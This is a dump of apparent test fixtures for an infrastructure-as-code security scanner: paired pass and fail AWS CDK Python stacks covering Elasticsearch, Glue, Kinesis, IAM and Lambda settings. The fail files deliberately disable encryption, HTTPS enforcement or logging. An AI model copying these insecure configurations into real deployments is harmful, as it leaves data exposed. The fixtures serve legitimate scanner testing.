    "content": "from aws_cdk import core\nfrom aws_cdk import aws_elasticache as elasticache\n\nclass MyElastiCacheReplicationGroupStack(core.Stack):\n    def __init__(self, scope: core.Construct, id: str, **kwargs) -> None:\n        super().__init__(scope, id, **kwargs)\n\n        # Define ElastiCache Replication Group with encryption and auth token\n        elasticache.CfnReplicationGroup(\n            self, 'MyElastiCacheReplicationGroup',\n            replication_group_description='MyReplicationGroup',\n            cache_node_type='cache.t2.small',\n            engine='redis',\n            engine_version='6.x',\n            num_node_groups=1,\n            automatic_failover_enabled=True,\n            transit_encryption_enabled=True,  # Enable transit encryption\n            auth_token='YourAuthTokenHere'  # Provide the auth token\n            # ... other properties as needed\n        )\n\napp = core.App()\nMyElastiCacheReplicationGroupStack(app, \"MyElastiCacheReplicationGroupStack\")\napp.synth()\n"
  },
  {
    "path": "cdk_integration_tests/src/python/ElasticsearchDomainEnforceHTTPS/fail__1__.py",
    "content": "from aws_cdk import core\nfrom aws_cdk import aws_elasticsearch as elasticsearch\n\nclass ElasticsearchStack(core.Stack):\n\n    def __init__(self, scope: core.Construct, id: str, **kwargs) -> None:\n        super().__init__(scope, id, **kwargs)\n\n        # Create an Amazon Elasticsearch domain\n        elasticsearch_domain = elasticsearch.CfnDomain(\n            self, \"MyElasticsearchDomain\",\n            domain_name=\"my-elasticsearch-domain\",\n            elasticsearch_version=\"7.10\",\n            node_to_node_encryption_options={\n                \"enabled\": True\n            },\n            ebs_options={\n                \"ebsEnabled\": True,\n                \"volumeSize\": 10\n            },\n        )\n\n# Create the CDK app and stack\napp = core.App()\nElasticsearchStack(app, \"ElasticsearchStack\")\napp.synth()\n"
  },
  {
    "path": "cdk_integration_tests/src/python/ElasticsearchDomainEnforceHTTPS/pass.py",
    "content": "from aws_cdk import core\nfrom aws_cdk import aws_elasticsearch as elasticsearch\n\nclass ElasticsearchStack(core.Stack):\n\n    def __init__(self, scope: core.Construct, id: str, **kwargs) -> None:\n        super().__init__(scope, id, **kwargs)\n\n        # Create an Amazon Elasticsearch domain\n        elasticsearch_domain = elasticsearch.CfnDomain(\n            self, \"MyElasticsearchDomain\",\n            domain_name=\"my-elasticsearch-domain\",\n            elasticsearch_version=\"7.10\",\n            node_to_node_encryption_options={\n                \"enabled\": True\n            },\n            domain_endpoint_options=elasticsearch.CfnDomain.DomainEndpointOptionsProperty(\n                custom_endpoint=\"customEndpoint\",\n                custom_endpoint_certificate_arn=\"customEndpointCertificateArn\",\n                custom_endpoint_enabled=False,\n                enforce_https=True,\n                tls_security_policy=\"tlsSecurityPolicy\"\n            ),\n            ebs_options={\n                \"ebsEnabled\": True,\n                \"volumeSize\": 10\n            },\n        )\n\n# Create the CDK app and stack\napp = core.App()\nElasticsearchStack(app, \"ElasticsearchStack\")\napp.synth()\n"
  },
  {
    "path": "cdk_integration_tests/src/python/ElasticsearchDomainLogging/fail__2__.py",
    "content": "from aws_cdk import core\nfrom aws_cdk import aws_elasticsearch as elasticsearch\nfrom aws_cdk import aws_opensearchservice as opensearchservice\n\nclass MyElasticsearchDomainStack(core.Stack):\n    def __init__(self, scope: core.Construct, id: str, **kwargs) -> None:\n        super().__init__(scope, id, **kwargs)\n\n        # Define Elasticsearch Domain with LogPublishingOptions for different log types\n        elasticsearch.CfnDomain(\n            self, 'MyElasticsearchDomain',\n            domain_name='my-elasticsearch-domain',\n            elasticsearch_version='7.10',  # Replace with your desired Elasticsearch version\n            node_to_node_encryption_options={\n                'enabled': True\n            },\n            log_publishing_options={\n                'logPublishingOptionsKey': elasticsearch.CfnDomain.LogPublishingOptionProperty(\n                    cloud_watch_logs_log_group_arn='arn:aws:logs:REGION:ACCOUNT_ID:log-group:LOG_GROUP_NAME',\n                    enabled=False\n                )\n            }\n            # Other properties for your Elasticsearch Domain\n        )\n\napp = core.App()\nMyElasticsearchDomainStack(app, \"MyElasticsearchDomainStack\")\napp.synth()\n\nclass MyOpenSearchDomainStack(core.Stack):\n    def __init__(self, scope: core.Construct, id: str, **kwargs) -> None:\n        super().__init__(scope, id, **kwargs)\n\n        # Define OpenSearch Service Domain with LogPublishingOptions for different log types\n        opensearchservice.CfnDomain(\n            self, 'MyOpenSearchDomain',\n            domain_name='my-opensearch-domain',\n            elasticsearch_version='7.10',  # Replace with your desired OpenSearch version\n            node_to_node_encryption_options={\n                'enabled': True\n            },\n            log_publishing_options={\n                'logPublishingOptionsKey': opensearchservice.CfnDomain.LogPublishingOptionProperty(\n                    cloud_watch_logs_log_group_arn='arn:aws:logs:REGION:ACCOUNT_ID:log-group:LOG_GROUP_NAME',\n                    enabled=True\n                )\n            }\n            # Other properties for your OpenSearch Service Domain\n        )\n\napp = core.App()\nMyOpenSearchDomainStack(app, \"MyOpenSearchDomainStack\")\napp.synth()"
  },
  {
    "path": "cdk_integration_tests/src/python/ElasticsearchDomainLogging/pass.py",
    "content": "from aws_cdk import core\nfrom aws_cdk import aws_elasticsearch as elasticsearch\nfrom aws_cdk import aws_opensearchservice as opensearchservice\n\nclass MyElasticsearchDomainStack(core.Stack):\n    def __init__(self, scope: core.Construct, id: str, **kwargs) -> None:\n        super().__init__(scope, id, **kwargs)\n\n        # Define Elasticsearch Domain with LogPublishingOptions for different log types\n        elasticsearch.CfnDomain(\n            self, 'MyElasticsearchDomain',\n            domain_name='my-elasticsearch-domain',\n            elasticsearch_version='7.10',  # Replace with your desired Elasticsearch version\n            node_to_node_encryption_options={\n                'enabled': True\n            },\n            log_publishing_options={\n                'logPublishingOptionsKey': elasticsearch.CfnDomain.LogPublishingOptionProperty(\n                    cloud_watch_logs_log_group_arn='arn:aws:logs:REGION:ACCOUNT_ID:log-group:LOG_GROUP_NAME',\n                    enabled=True\n                )\n            }\n            # Other properties for your Elasticsearch Domain\n        )\n\napp = core.App()\nMyElasticsearchDomainStack(app, \"MyElasticsearchDomainStack\")\napp.synth()\n\nclass MyOpenSearchDomainStack(core.Stack):\n    def __init__(self, scope: core.Construct, id: str, **kwargs) -> None:\n        super().__init__(scope, id, **kwargs)\n\n        # Define OpenSearch Service Domain with LogPublishingOptions for different log types\n        opensearchservice.CfnDomain(\n            self, 'MyOpenSearchDomain',\n            domain_name='my-opensearch-domain',\n            elasticsearch_version='7.10',  # Replace with your desired OpenSearch version\n            node_to_node_encryption_options={\n                'enabled': True\n            },\n            log_publishing_options={\n                'logPublishingOptionsKey': opensearchservice.CfnDomain.LogPublishingOptionProperty(\n                    cloud_watch_logs_log_group_arn='arn:aws:logs:REGION:ACCOUNT_ID:log-group:LOG_GROUP_NAME',\n                    enabled=True\n                )\n            }\n            # Other properties for your OpenSearch Service Domain\n        )\n\napp = core.App()\nMyOpenSearchDomainStack(app, \"MyOpenSearchDomainStack\")\napp.synth()\n"
  },
  {
    "path": "cdk_integration_tests/src/python/ElasticsearchEncryption/fail__1__.py",
    "content": "from aws_cdk import core\nfrom aws_cdk import aws_elasticsearch as elasticsearch\n\nclass MyElasticsearchDomainStack(core.Stack):\n    def __init__(self, scope: core.Construct, id: str, **kwargs) -> None:\n        super().__init__(scope, id, **kwargs)\n\n        # Define Elasticsearch Domain with Encryption At Rest Enabled\n        elasticsearch.CfnDomain(\n            self, 'MyElasticsearchDomain',\n            domain_name='my-elasticsearch-domain',\n            elasticsearch_version='7.10',  # Replace with your desired Elasticsearch version\n            encryption_at_rest_options={\n                'enabled': False\n            }\n            # Other properties for your Elasticsearch Domain\n        )\n\napp = core.App()\nMyElasticsearchDomainStack(app, \"MyElasticsearchDomainStack\")\napp.synth()\n"
  },
  {
    "path": "cdk_integration_tests/src/python/ElasticsearchEncryption/pass.py",
    "content": "from aws_cdk import core\nfrom aws_cdk import aws_elasticsearch as elasticsearch\n\nclass MyElasticsearchDomainStack(core.Stack):\n    def __init__(self, scope: core.Construct, id: str, **kwargs) -> None:\n        super().__init__(scope, id, **kwargs)\n\n        # Define Elasticsearch Domain with Encryption At Rest Enabled\n        elasticsearch.CfnDomain(\n            self, 'MyElasticsearchDomain',\n            domain_name='my-elasticsearch-domain',\n            elasticsearch_version='7.10',  # Replace with your desired Elasticsearch version\n            encryption_at_rest_options={\n                'enabled': True\n            }\n            # Other properties for your Elasticsearch Domain\n        )\n\napp = core.App()\nMyElasticsearchDomainStack(app, \"MyElasticsearchDomainStack\")\napp.synth()\n"
  },
  {
    "path": "cdk_integration_tests/src/python/ElasticsearchNodeToNodeEncryption/fail__1__.py",
    "content": "from aws_cdk import core\nfrom aws_cdk import aws_elasticsearch as elasticsearch\n\nclass MyElasticsearchDomainStack(core.Stack):\n    def __init__(self, scope: core.Construct, id: str, **kwargs) -> None:\n        super().__init__(scope, id, **kwargs)\n\n        # Define Elasticsearch Domain with Node-to-Node Encryption Enabled\n        elasticsearch.CfnDomain(\n            self, 'MyElasticsearchDomain',\n            domain_name='my-elasticsearch-domain',\n            elasticsearch_version='7.10',  # Replace with your desired Elasticsearch version\n            node_to_node_encryption_options={\n                'enabled': False\n            }\n            # Other properties for your Elasticsearch Domain\n        )\n\napp = core.App()\nMyElasticsearchDomainStack(app, \"MyElasticsearchDomainStack\")\napp.synth()\n"
  },
  {
    "path": "cdk_integration_tests/src/python/ElasticsearchNodeToNodeEncryption/pass.py",
    "content": "from aws_cdk import core\nfrom aws_cdk import aws_elasticsearch as elasticsearch\n\nclass MyElasticsearchDomainStack(core.Stack):\n    def __init__(self, scope: core.Construct, id: str, **kwargs) -> None:\n        super().__init__(scope, id, **kwargs)\n\n        # Define Elasticsearch Domain with Node-to-Node Encryption Enabled\n        elasticsearch.CfnDomain(\n            self, 'MyElasticsearchDomain',\n            domain_name='my-elasticsearch-domain',\n            elasticsearch_version='7.10',  # Replace with your desired Elasticsearch version\n            node_to_node_encryption_options={\n                'enabled': True\n            }\n            # Other properties for your Elasticsearch Domain\n        )\n\napp = core.App()\nMyElasticsearchDomainStack(app, \"MyElasticsearchDomainStack\")\napp.synth()\n"
  },
  {
    "path": "cdk_integration_tests/src/python/GlueDataCatalogEncryption/fail__2__.py",
    "content": "from aws_cdk import core\nfrom aws_cdk import aws_glue as glue\n\nclass MyGlueDataCatalogEncryptionSettingsStack(core.Stack):\n    def __init__(self, scope: core.Construct, id: str, **kwargs) -> None:\n        super().__init__(scope, id, **kwargs)\n\n        # Define Data Catalog encryption settings\n        data_catalog_encryption_settings = glue.CfnDataCatalogEncryptionSettings(\n            self, 'MyGlueDataCatalogEncryptionSettings',\n            data_catalog_encryption_settings={\n                'ConnectionPasswordEncryption': {\n                    'ReturnConnectionPasswordEncrypted': False\n                },\n                'EncryptionAtRest': {\n                    'CatalogEncryptionMode': 'SSE-KMS'\n                }\n            }\n        )\n\napp = core.App()\nMyGlueDataCatalogEncryptionSettingsStack(app, \"MyGlueDataCatalogEncryptionSettingsStack\")\napp.synth()\n\nclass MyGlueDataCatalogEncryptionSettingsStack2(core.Stack):\n    def __init__(self, scope: core.Construct, id: str, **kwargs) -> None:\n        super().__init__(scope, id, **kwargs)\n\n        # Define Data Catalog encryption settings\n        data_catalog_encryption_settings = glue.CfnDataCatalogEncryptionSettings(\n            self, 'MyGlueDataCatalogEncryptionSettings',\n            data_catalog_encryption_settings={\n                'ConnectionPasswordEncryption': {\n                    'ReturnConnectionPasswordEncrypted': True\n                },\n            }\n        )\n\napp = core.App()\nMyGlueDataCatalogEncryptionSettingsStack2(app, \"MyGlueDataCatalogEncryptionSettingsStack2\")\napp.synth()\n"
  },
  {
    "path": "cdk_integration_tests/src/python/GlueDataCatalogEncryption/pass.py",
    "content": "from aws_cdk import core\nfrom aws_cdk import aws_glue as glue\n\nclass MyGlueDataCatalogEncryptionSettingsStack(core.Stack):\n    def __init__(self, scope: core.Construct, id: str, **kwargs) -> None:\n        super().__init__(scope, id, **kwargs)\n\n        # Define Data Catalog encryption settings\n        data_catalog_encryption_settings = glue.CfnDataCatalogEncryptionSettings(\n            self, 'MyGlueDataCatalogEncryptionSettings',\n            data_catalog_encryption_settings={\n                'ConnectionPasswordEncryption': {\n                    'ReturnConnectionPasswordEncrypted': True\n                },\n                'EncryptionAtRest': {\n                    'CatalogEncryptionMode': 'SSE-KMS'\n                }\n            }\n        )\n\napp = core.App()\nMyGlueDataCatalogEncryptionSettingsStack(app, \"MyGlueDataCatalogEncryptionSettingsStack\")\napp.synth()\n"
  },
  {
    "path": "cdk_integration_tests/src/python/GlueSecurityConfiguration/fail__2__.py",
    "content": "from aws_cdk import core\nfrom aws_cdk import aws_glue as glue\n\nclass MyGlueSecurityConfigurationStack(core.Stack):\n    def __init__(self, scope: core.Construct, id: str, **kwargs) -> None:\n        super().__init__(scope, id, **kwargs)\n\n        # Define the security configuration with encryption settings\n        security_configuration = glue.CfnSecurityConfiguration(\n            self, 'MyGlueSecurityConfiguration',\n            encryption_configuration={\n                'CloudWatchEncryption': {\n                    'CloudWatchEncryptionMode': 'SSE-KMS'\n                },\n                'JobBookmarksEncryption': {\n                    'JobBookmarksEncryptionMode': 'DISABLED'\n                },\n                'S3Encryptions': [\n                    {\n                        'S3EncryptionMode': 'SSE-KMS'\n                    }\n                ]\n            }\n        )\n\napp = core.App()\nMyGlueSecurityConfigurationStack(app, \"MyGlueSecurityConfigurationStack\")\napp.synth()\n\nclass MyGlueSecurityConfigurationStack2(core.Stack):\n    def __init__(self, scope: core.Construct, id: str, **kwargs) -> None:\n        super().__init__(scope, id, **kwargs)\n\n        # Define the security configuration with encryption settings\n        security_configuration = glue.CfnSecurityConfiguration(\n            self, 'MyGlueSecurityConfiguration',\n            encryption_configuration={\n                'JobBookmarksEncryption': {\n                    'JobBookmarksEncryptionMode': 'CSE-KMS'\n                },\n                'S3Encryptions': [\n                    {\n                        'S3EncryptionMode': 'SSE-KMS'\n                    }\n                ]\n            }\n        )\n\napp = core.App()\nMyGlueSecurityConfigurationStack2(app, \"MyGlueSecurityConfigurationStack2\")\napp.synth()\n"
  },
  {
    "path": "cdk_integration_tests/src/python/GlueSecurityConfiguration/pass.py",
    "content": "from aws_cdk import core\nfrom aws_cdk import aws_glue as glue\n\nclass MyGlueSecurityConfigurationStack(core.Stack):\n    def __init__(self, scope: core.Construct, id: str, **kwargs) -> None:\n        super().__init__(scope, id, **kwargs)\n\n        # Define the security configuration with encryption settings\n        security_configuration = glue.CfnSecurityConfiguration(\n            self, 'MyGlueSecurityConfiguration',\n            encryption_configuration={\n                'CloudWatchEncryption': {\n                    'CloudWatchEncryptionMode': 'SSE-KMS'\n                },\n                'JobBookmarksEncryption': {\n                    'JobBookmarksEncryptionMode': 'CSE-KMS'\n                },\n                'S3Encryptions': [\n                    {\n                        'S3EncryptionMode': 'SSE-KMS'\n                    }\n                ]\n            }\n        )\n\napp = core.App()\nMyGlueSecurityConfigurationStack(app, \"MyGlueSecurityConfigurationStack\")\napp.synth()\n"
  },
  {
    "path": "cdk_integration_tests/src/python/GlueSecurityConfigurationEnabled/fail__3__.py",
    "content": "from aws_cdk import core\nfrom aws_cdk import aws_glue as glue\n\nclass GlueCrawlerStack(core.Stack):\n\n    def __init__(self, scope: core.Construct, id: str, **kwargs) -> None:\n        super().__init__(scope, id, **kwargs)\n\n        crawler = glue.CfnCrawler(\n            self,\n            \"MyCrawler\",\n            name=\"MyCrawler\",\n            database_name=\"mydatabase\",\n            role=crawler_role.role_arn,\n            targets={\n                \"s3Targets\": [\n                    {\n                        \"path\": \"s3://your-s3-bucket/path/to/crawl\",\n                    }\n                ]\n            },\n        )\n\napp = core.App()\nGlueCrawlerStack(app, \"GlueCrawlerStack\")\napp.synth()\n\n\nclass GlueDevEndpointStack(core.Stack):\n\n    def __init__(self, scope: core.Construct, id: str, **kwargs) -> None:\n        super().__init__(scope, id, **kwargs)\n\n        # Create an AWS Glue DevEndpoint\n        dev_endpoint = glue.CfnDevEndpoint(\n            self,\n            \"MyDevEndpoint\",\n            role_arn=\"arn:aws:iam::YOUR_ACCOUNT_ID:role/YourGlueDevEndpointRole\",\n            worker_type=\"Standard\",\n            glue_version=\"1.0\",\n        )\n\napp = core.App()\nGlueDevEndpointStack(app, \"GlueDevEndpointStack\")\napp.synth()\n\nclass GlueJobStack(core.Stack):\n\n    def __init__(self, scope: core.Construct, id: str, **kwargs) -> None:\n        super().__init__(scope, id, **kwargs)\n\n        # Create an AWS Glue Job\n        job = glue.CfnJob(\n            self,\n            \"MyGlueJob\",\n            command={\n                \"name\": \"glueetl\",\n                \"pythonVersion\": \"3\"\n            },\n            default_arguments={\n                \"--job-language\": \"python\"\n            },\n            max_capacity=10,\n            glue_version=\"1.0\"\n        )\n\napp = core.App()\nGlueJobStack(app, \"GlueJobStack\")\napp.synth()\n\n"
  },
  {
    "path": "cdk_integration_tests/src/python/GlueSecurityConfigurationEnabled/pass.py",
    "content": "from aws_cdk import core\nfrom aws_cdk import aws_glue as glue\nfrom aws_cdk import aws_iam as iam\n\nclass GlueCrawlerStack(core.Stack):\n\n    def __init__(self, scope: core.Construct, id: str, **kwargs) -> None:\n        super().__init__(scope, id, **kwargs)\n\n        crawler = glue.CfnCrawler(\n            self,\n            \"MyCrawler\",\n            name=\"MyCrawler\",\n            database_name=\"mydatabase\",\n            role=crawler_role.role_arn,\n            targets={\n                \"s3Targets\": [\n                    {\n                        \"path\": \"s3://your-s3-bucket/path/to/crawl\",\n                    }\n                ]\n            },\n            crawler_security_configuration=\"aaa\"\n        )\n\napp = core.App()\nGlueCrawlerStack(app, \"GlueCrawlerStack\")\napp.synth()\n\n\nclass GlueDevEndpointStack(core.Stack):\n\n    def __init__(self, scope: core.Construct, id: str, **kwargs) -> None:\n        super().__init__(scope, id, **kwargs)\n\n        # Create an AWS Glue Security Configuration (You need to create one separately)\n        security_configuration_name = \"MySecurityConfiguration\"  # Replace with your security config name\n\n        # Create an AWS Glue DevEndpoint\n        dev_endpoint = glue.CfnDevEndpoint(\n            self,\n            \"MyDevEndpoint\",\n            role_arn=\"arn:aws:iam::YOUR_ACCOUNT_ID:role/YourGlueDevEndpointRole\",\n            security_configuration=security_configuration_name,\n            worker_type=\"Standard\",\n            glue_version=\"1.0\",\n        )\n\napp = core.App()\nGlueDevEndpointStack(app, \"GlueDevEndpointStack\")\napp.synth()\n\nclass GlueJobStack(core.Stack):\n\n    def __init__(self, scope: core.Construct, id: str, **kwargs) -> None:\n        super().__init__(scope, id, **kwargs)\n\n        # Create an AWS Glue Security Configuration (You need to create one separately)\n        security_configuration_name = \"MySecurityConfiguration\"  # Replace with your security config name\n\n        # Create an AWS Glue Job\n        job = glue.CfnJob(\n            self,\n            \"MyGlueJob\",\n            command={\n                \"name\": \"glueetl\",\n                \"pythonVersion\": \"3\"\n            },\n            default_arguments={\n                \"--job-language\": \"python\"\n            },\n            security_configuration=security_configuration_name,\n            max_capacity=10,\n            glue_version=\"1.0\"\n        )\n\napp = core.App()\nGlueJobStack(app, \"GlueJobStack\")\napp.synth()\n\n"
  },
  {
    "path": "cdk_integration_tests/src/python/IAMPolicyAttachedToGroupOrRoles/fail__1__.py",
    "content": "from aws_cdk import core\nfrom aws_cdk import aws_iam as iam\n\nclass IAMStack(core.Stack):\n\n    def __init__(self, scope: core.Construct, id: str, **kwargs) -> None:\n        super().__init__(scope, id, **kwargs)\n\n        # Create an IAM policy\n        custom_policy = iam.Policy(\n            self,\n            \"CustomPolicy\",\n            policy_name=\"MyCustomPolicy\",\n            statements=[\n                iam.PolicyStatement(\n                    effect=iam.Effect.ALLOW,\n                    actions=[\"s3:GetObject\"],\n                    resources=[\"arn:aws:s3:::my-bucket/*\"],\n                ),\n            ],\n            users=[\"a\"]\n        )\n\n\napp = core.App()\nIAMStack(app, \"IAMStack\")\napp.synth()\n"
  },
  {
    "path": "cdk_integration_tests/src/python/IAMPolicyAttachedToGroupOrRoles/pass.py",
    "content": "from aws_cdk import core\nfrom aws_cdk import aws_iam as iam\n\nclass IAMStack(core.Stack):\n\n    def __init__(self, scope: core.Construct, id: str, **kwargs) -> None:\n        super().__init__(scope, id, **kwargs)\n\n        # Create an IAM policy\n        custom_policy = iam.Policy(\n            self,\n            \"CustomPolicy\",\n            policy_name=\"MyCustomPolicy\",\n            statements=[\n                iam.PolicyStatement(\n                    effect=iam.Effect.ALLOW,\n                    actions=[\"s3:GetObject\"],\n                    resources=[\"arn:aws:s3:::my-bucket/*\"],\n                ),\n            ],\n        )\n\n\napp = core.App()\nIAMStack(app, \"IAMStack\")\napp.synth()\n"
  },
  {
    "path": "cdk_integration_tests/src/python/KinesisStreamEncryptionType/fail__1__.py",
    "content": "from aws_cdk import core\nfrom aws_cdk import aws_kinesis as kinesis\n\nclass KinesisStreamStack(core.Stack):\n\n    def __init__(self, scope: core.Construct, id: str, **kwargs) -> None:\n        super().__init__(scope, id, **kwargs)\n\n        # Create an Amazon Kinesis stream\n        kinesis_stream = kinesis.CfnStream(\n            self,\n            \"MyKinesisStream\",\n            name=\"my-kinesis-stream\",\n            shard_count=2,  # The number of shards in the stream\n            stream_encryption={\n                \"encryption_type\": \"ABC\",\n                \"key_id\": \"YOUR_KMS_KEY_ID\"  # Replace with your KMS key ID\n            }\n        )\n\napp = core.App()\nKinesisStreamStack(app, \"KinesisStreamStack\")\napp.synth()\n"
  },
  {
    "path": "cdk_integration_tests/src/python/KinesisStreamEncryptionType/pass.py",
    "content": "from aws_cdk import core\nfrom aws_cdk import aws_kinesis as kinesis\n\nclass KinesisStreamStack(core.Stack):\n\n    def __init__(self, scope: core.Construct, id: str, **kwargs) -> None:\n        super().__init__(scope, id, **kwargs)\n\n        # Create an Amazon Kinesis stream\n        kinesis_stream = kinesis.CfnStream(\n            self,\n            \"MyKinesisStream\",\n            name=\"my-kinesis-stream\",\n            shard_count=2,  # The number of shards in the stream\n            stream_encryption={\n                \"encryption_type\": \"KMS\",  # Use KMS encryption\n                \"key_id\": \"YOUR_KMS_KEY_ID\"  # Replace with your KMS key ID\n            }\n        )\n\napp = core.App()\nKinesisStreamStack(app, \"KinesisStreamStack\")\napp.synth()\n"
  },
  {
    "path": "cdk_integration_tests/src/python/LambdaDLQConfigured/fail__2__.py",
    "content": "from aws_cdk import core\nfrom aws_cdk import aws_lambda as _lambda\nfrom aws_cdk import aws_sqs as sqs\nfrom aws_cdk import aws_sam as sam\nclass MyLambdaStack(core.Stack):\n\n    def __init__(self, scope: core.Construct, id: str, **kwargs) -> None:\n        super().__init__(scope, id, **kwargs)\n\n        # Create the Dead Letter Queue\n        dlq = sqs.Queue(\n            self,\n            \"MyDeadLetterQueue\",\n            visibility_timeout=core.Duration.seconds(300),  # Adjust as needed\n        )\n\n        # Create the Lambda function with a DLQ\n        my_lambda_function = _lambda.Function(\n            self,\n            \"MyLambdaFunction\",\n            runtime=_lambda.Runtime.PYTHON_3_8,\n            handler=\"index.handler\",\n            code=_lambda.Code.from_asset(\"path/to/your/code\"),\n            function_name=\"my-function-name\",\n        )\n\n\n\nclass MySAMLambdaStack(core.Stack):\n\n    def __init__(self, scope: core.Construct, id: str, **kwargs) -> None:\n        super().__init__(scope, id, **kwargs)\n\n        # Create the Dead Letter Queue\n        dlq = sqs.Queue(\n            self,\n            \"MyDeadLetterQueue\",\n            visibility_timeout=core.Duration.seconds(300),  # Adjust as needed\n        )\n\n        # Create the SAM Lambda function with a DLQ\n        my_sam_lambda_function = sam.CfnFunction(\n            self,\n            \"MySAMLambdaFunction\",\n            handler=\"index.handler\",\n            runtime=\"nodejs14.x\",\n            code_uri=\"./my-code\",\n            function_name=\"my-function-name\",\n        )\n\n\n"
  },
  {
    "path": "cdk_integration_tests/src/python/LambdaDLQConfigured/pass.py",
    "content": "from aws_cdk import core\nfrom aws_cdk import aws_lambda as _lambda\nfrom aws_cdk import aws_sqs as sqs\nfrom aws_cdk import aws_sam as sam\nclass MyLambdaStack(core.Stack):\n\n    def __init__(self, scope: core.Construct, id: str, **kwargs) -> None:\n        super().__init__(scope, id, **kwargs)\n\n        # Create the Dead Letter Queue\n        dlq = sqs.Queue(\n            self,\n            \"MyDeadLetterQueue\",\n            visibility_timeout=core.Duration.seconds(300),  # Adjust as needed\n        )\n\n        # Create the Lambda function with a DLQ\n        my_lambda_function = _lambda.Function(\n            self,\n            \"MyLambdaFunction\",\n            runtime=_lambda.Runtime.PYTHON_3_8,\n            handler=\"index.handler\",\n            code=_lambda.Code.from_asset(\"path/to/your/code\"),\n            function_name=\"my-function-name\",\n            dead_letter_queue=dlq,\n        )\n\n\n\nclass MySAMLambdaStack(core.Stack):\n\n    def __init__(self, scope: core.Construct, id: str, **kwargs) -> None:\n        super().__init__(scope, id, **kwargs)\n\n        # Create the Dead Letter Queue\n        dlq = sqs.Queue(\n            self,\n            \"MyDeadLetterQueue\",\n            visibility_timeout=core.Duration.seconds(300),  # Adjust as needed\n        )\n\n        # Create the SAM Lambda function with a DLQ\n        my_sam_lambda_function = sam.CfnFunction(\n            self,\n            \"MySAMLambdaFunction\",\n            handler=\"index.handler\",\n            runtime=\"nodejs14.x\",\n            code_uri=\"./my-code\",\n            function_name=\"my-function-name\",\n            dead_letter_queue=sam.CfnFunction.DeadLetterQueueProperty(\n                target_arn=dlq.queue_arn\n            ),\n        )\n\n\n"
  },
  {
    "path": "cdk_integration_tests/src/python/LambdaEnvironmentCredentials/fail__2__.py",
    "content": "from aws_cdk import core\nfrom aws_cdk import aws_lambda as _lambda\nfrom aws_cdk import aws_sam as sam\n\nclass MyLambdaFunctionStack(core.Stack):\n    def __init__(self, scope: core.Construct, id: str, **kwargs) -> None:\n        super().__init__(scope, id, **kwargs)\n\n        # Define Lambda Function\n        my_lambda = _lambda.Function(\n            self, 'MyLambdaFunction',\n            runtime=_lambda.Runtime.PYTHON_3_8,\n            handler='index.handler',\n            code=_lambda.Code.from_asset('lambda'),  # Replace 'lambda' with your function code directory\n            environment={\n                'MY_VARIABLE': 'pass'\n            }\n        )\n\napp = core.App()\nMyLambdaFunctionStack(app, \"MyLambdaFunctionStack\")\napp.synth()\n\n\nclass MyServerlessFunctionStack(core.Stack):\n    def __init__(self, scope: core.Construct, id: str, **kwargs) -> None:\n        super().__init__(scope, id, **kwargs)\n\n        # Define Serverless Lambda Function\n        my_lambda = sam.CfnFunction(\n            self, 'MyServerlessFunction',\n            code_uri='lambda/',  # Replace 'lambda/' with your function code directory\n            handler='index.handler',\n            runtime='python3.9',\n            environment={\n                'MY_VARIABLE': 'pass'\n            }\n            # Other properties for your Serverless Lambda Function\n        )\n\napp = core.App()\nMyServerlessFunctionStack(app, \"MyServerlessFunctionStack\")\napp.synth()\n"
  },
  {
    "path": "cdk_integration_tests/src/python/LambdaEnvironmentCredentials/pass.py",
    "content": "from aws_cdk import core\nfrom aws_cdk import aws_lambda as _lambda\nfrom aws_cdk import aws_sam as sam\n\nclass MyLambdaFunctionStack(core.Stack):\n    def __init__(self, scope: core.Construct, id: str, **kwargs) -> None:\n        super().__init__(scope, id, **kwargs)\n\n        # Define Lambda Function\n        my_lambda = _lambda.Function(\n            self, 'MyLambdaFunction',\n            runtime=_lambda.Runtime.PYTHON_3_8,\n            handler='index.handler',\n            code=_lambda.Code.from_asset('lambda'),  # Replace 'lambda' with your function code directory\n            environment={\n                'MY_VARIABLE': {'a':'b'}\n            }\n        )\n\napp = core.App()\nMyLambdaFunctionStack(app, \"MyLambdaFunctionStack\")\napp.synth()\n\n\nclass MyServerlessFunctionStack(core.Stack):\n    def __init__(self, scope: core.Construct, id: str, **kwargs) -> None:\n        super().__init__(scope, id, **kwargs)\n\n        # Define Serverless Lambda Function\n        my_lambda = sam.CfnFunction(\n            self, 'MyServerlessFunction',\n            code_uri='lambda/',  # Replace 'lambda/' with your function code directory\n            handler='index.handler',\n            runtime='python3.9',\n            environment={\n                'MY_VARIABLE': {'a':'b'}\n            }\n            # Other properties for your Serverless Lambda Function\n        )\n\napp = core.App()\nMyServerlessFunctionStack(app, \"MyServerlessFunctionStack\")\napp.synth()\n"
  },
  {
    "path": "cdk_integration_tests/src/python/LambdaEnvironmentEncryptionSettings/fail__2__.py",
    "content": "from aws_cdk import core\nfrom aws_cdk import aws_lambda as _lambda\nfrom aws_cdk import aws_sam as sam\nclass MyLambdaFunctionStack(core.Stack):\n    def __init__(self, scope: core.Construct, id: str, **kwargs) -> None:\n        super().__init__(scope, id, **kwargs)\n\n        # Define Lambda function\n        my_lambda_function = _lambda.Function(\n            self, 'MyLambdaFunction',\n            runtime=_lambda.Runtime.PYTHON_3_8,\n            handler='index.handler',\n            code=_lambda.Code.from_asset('path/to/your/function/code'),\n            environment={\n                'MY_VARIABLE_1': 'Value1',\n                'MY_VARIABLE_2': 'Value2'\n            },\n        )\n\napp = core.App()\nMyLambdaFunctionStack(app, \"MyLambdaFunctionStack\")\napp.synth()\n\n\nclass MyServerlessFunctionStack(core.Stack):\n    def __init__(self, scope: core.Construct, id: str, **kwargs) -> None:\n        super().__init__(scope, id, **kwargs)\n\n        # Define SAM Function\n        my_sam_function = sam.CfnFunction(\n            self, 'MySAMFunction',\n            handler='index.handler',\n            runtime='python3.9',\n            code_uri='./path/to/your/function/code',\n            environment={\n                'MY_VARIABLE_1': 'Value1',\n                'MY_VARIABLE_2': 'Value2'\n            },\n        )\n\napp = core.App()\nMyServerlessFunctionStack(app, \"MyServerlessFunctionStack\")\napp.synth()\n"
  },
  {
    "path": "cdk_integration_tests/src/python/LambdaEnvironmentEncryptionSettings/pass.py",
